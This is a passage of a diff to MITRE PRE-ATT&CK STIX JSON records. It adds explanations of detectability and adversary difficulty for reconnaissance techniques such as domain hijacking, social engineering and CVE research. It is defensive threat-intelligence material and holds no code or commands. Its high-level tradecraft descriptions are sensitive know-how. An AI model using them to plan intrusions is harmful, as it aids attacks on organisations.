+            "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generates no network traffic that would enable detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to do but it requires a vantage point conducive to accessing this data.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Generates no network traffic that would enable detection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy to do but it requires a vantage point conducive to accessing this data."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121.json b/pre-attack/attack-pattern/attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121.json
index 9d34e2c9d0..474c669a78 100644
--- a/pre-attack/attack-pattern/attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121.json
+++ b/pre-attack/attack-pattern/attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5d155207-98c5-4bcb-86ce-3ac4acb8f6eb",
+    "id": "bundle--028c083c-ea6e-4663-939d-9a77c0449bc7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine centralization of IT management",
-            "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization.  An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo a research process to learn the internal workings of an organization.  An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f.json b/pre-attack/attack-pattern/attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f.json
index 76ea3a64eb..f4edfed066 100644
--- a/pre-attack/attack-pattern/attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f.json
+++ b/pre-attack/attack-pattern/attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bd277c9a-c4e5-4bcf-9053-7a5357d34f22",
+    "id": "bundle--607d79c6-7aaa-4ee3-afef-a13d3560ae57",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assign KITs/KIQs into categories",
-            "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary.  An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary.  An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a.json b/pre-attack/attack-pattern/attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a.json
index 40dafc7fa7..3fa3e5e808 100644
--- a/pre-attack/attack-pattern/attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a.json
+++ b/pre-attack/attack-pattern/attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16b25407-356e-4321-b289-95149177f831",
+    "id": "bundle--f448a628-cb6a-474b-b3ae-418a03a24b0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Domain registration hijacking",
-            "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC.  The adversary can then claim that they forgot their password in order to make changes to the domain registration.  Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Generally not easily detectable unless domain registrar provides alerting on any updates.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires adversary to gain access to an email account for person listed as the domain registrar/POC.  The adversary can then claim that they forgot their password in order to make changes to the domain registration.  Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a.json b/pre-attack/attack-pattern/attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a.json
index 9195f99177..45137cf98b 100644
--- a/pre-attack/attack-pattern/attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a.json
+++ b/pre-attack/attack-pattern/attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca33cffc-4147-4d77-a7c7-2e637af52be3",
+    "id": "bundle--67c5a014-2cb3-4b89-a9ea-d4a0768af295",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Research relevant vulnerabilities/CVEs",
-            "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e.json b/pre-attack/attack-pattern/attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e.json
index 333a07e114..22fb585b6c 100644
--- a/pre-attack/attack-pattern/attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e.json
+++ b/pre-attack/attack-pattern/attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a11a698-6cab-4604-a6cd-0630b818915c",
+    "id": "bundle--746ba5f5-9805-416a-ab8b-acdc6a4b757f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Receive KITs/KIQs and determine requirements",
-            "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements.  For example, an adversary's  nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements.  For example, an adversary's  nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef.json b/pre-attack/attack-pattern/attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef.json
index 13397672b2..d0a5d6ea4d 100644
--- a/pre-attack/attack-pattern/attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef.json
+++ b/pre-attack/attack-pattern/attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--349635e0-b8bd-46b4-9ed4-4228e250983f",
+    "id": "bundle--8e7b144f-06b4-4d24-a2ab-1ba36129886e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify vulnerabilities in third-party software libraries",
-            "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free.  However, using this code without assessing it's security is akin to blindly executing third party software.  Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits.  It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Open source software has great appeal mostly due to the time savings and that it is free.  However, using this code without assessing it's security is akin to blindly executing third party software.  Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits.  It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5.json b/pre-attack/attack-pattern/attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5.json
index a680aabf3b..70a5b48c66 100644
--- a/pre-attack/attack-pattern/attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5.json
+++ b/pre-attack/attack-pattern/attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1336169b-c198-4e13-b38d-f53408113c2d",
+    "id": "bundle--ef3ffd0e-7ce9-4c12-b67c-8e8d62583e13",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess KITs/KIQs benefits",
-            "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories.  An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories.  An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--af358cad-eb71-4e91-a752-236edc237dae.json b/pre-attack/attack-pattern/attack-pattern--af358cad-eb71-4e91-a752-236edc237dae.json
index b10bb9d781..4e3ca2ab37 100644
--- a/pre-attack/attack-pattern/attack-pattern--af358cad-eb71-4e91-a752-236edc237dae.json
+++ b/pre-attack/attack-pattern/attack-pattern--af358cad-eb71-4e91-a752-236edc237dae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a42e438f-26ab-4f9d-9673-9738c9c68181",
+    "id": "bundle--7a265ce7-0bbe-4b36-a92a-a05d892b4131",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5.json b/pre-attack/attack-pattern/attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5.json
index 47e206b84e..1497d768fe 100644
--- a/pre-attack/attack-pattern/attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5.json
+++ b/pre-attack/attack-pattern/attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--09ef1cb6-2347-40db-bdc0-772faf8ab349",
+    "id": "bundle--f56fa70b-9952-445f-8593-3b9faa8bc4dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Proxy/protocol relays",
-            "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Proxies are readily available for the adversary with both free and cost-based options available."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3.json b/pre-attack/attack-pattern/attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3.json
index 37a670bbf9..1dfe5528b3 100644
--- a/pre-attack/attack-pattern/attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3.json
+++ b/pre-attack/attack-pattern/attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa5828c2-b147-4cb5-a1ec-0e9f5b9e2cdf",
+    "id": "bundle--22ba2428-47b7-4e64-93a9-aff5f9fb319c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Research visibility gap of security vendors",
-            "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413.json b/pre-attack/attack-pattern/attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413.json
index 8ffb733294..b6a445be2b 100644
--- a/pre-attack/attack-pattern/attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413.json
+++ b/pre-attack/attack-pattern/attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bdd25ca6-39fa-48cb-ad9f-27b923706a25",
+    "id": "bundle--81ae1da2-247d-4707-bbd1-83a23884cf4d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Unauthorized user introduces compromise delivery mechanism",
-            "description": "If an adversary can gain physical access to the target's environment they can introduce a variety of  devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "If an adversary can gain physical access to the target's environment they can introduce a variety of  devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment.  Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "This varies depending on the amount of monitoring within the environment.  Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.",
+            "x_mitre_difficulty_for_adversary": "No",
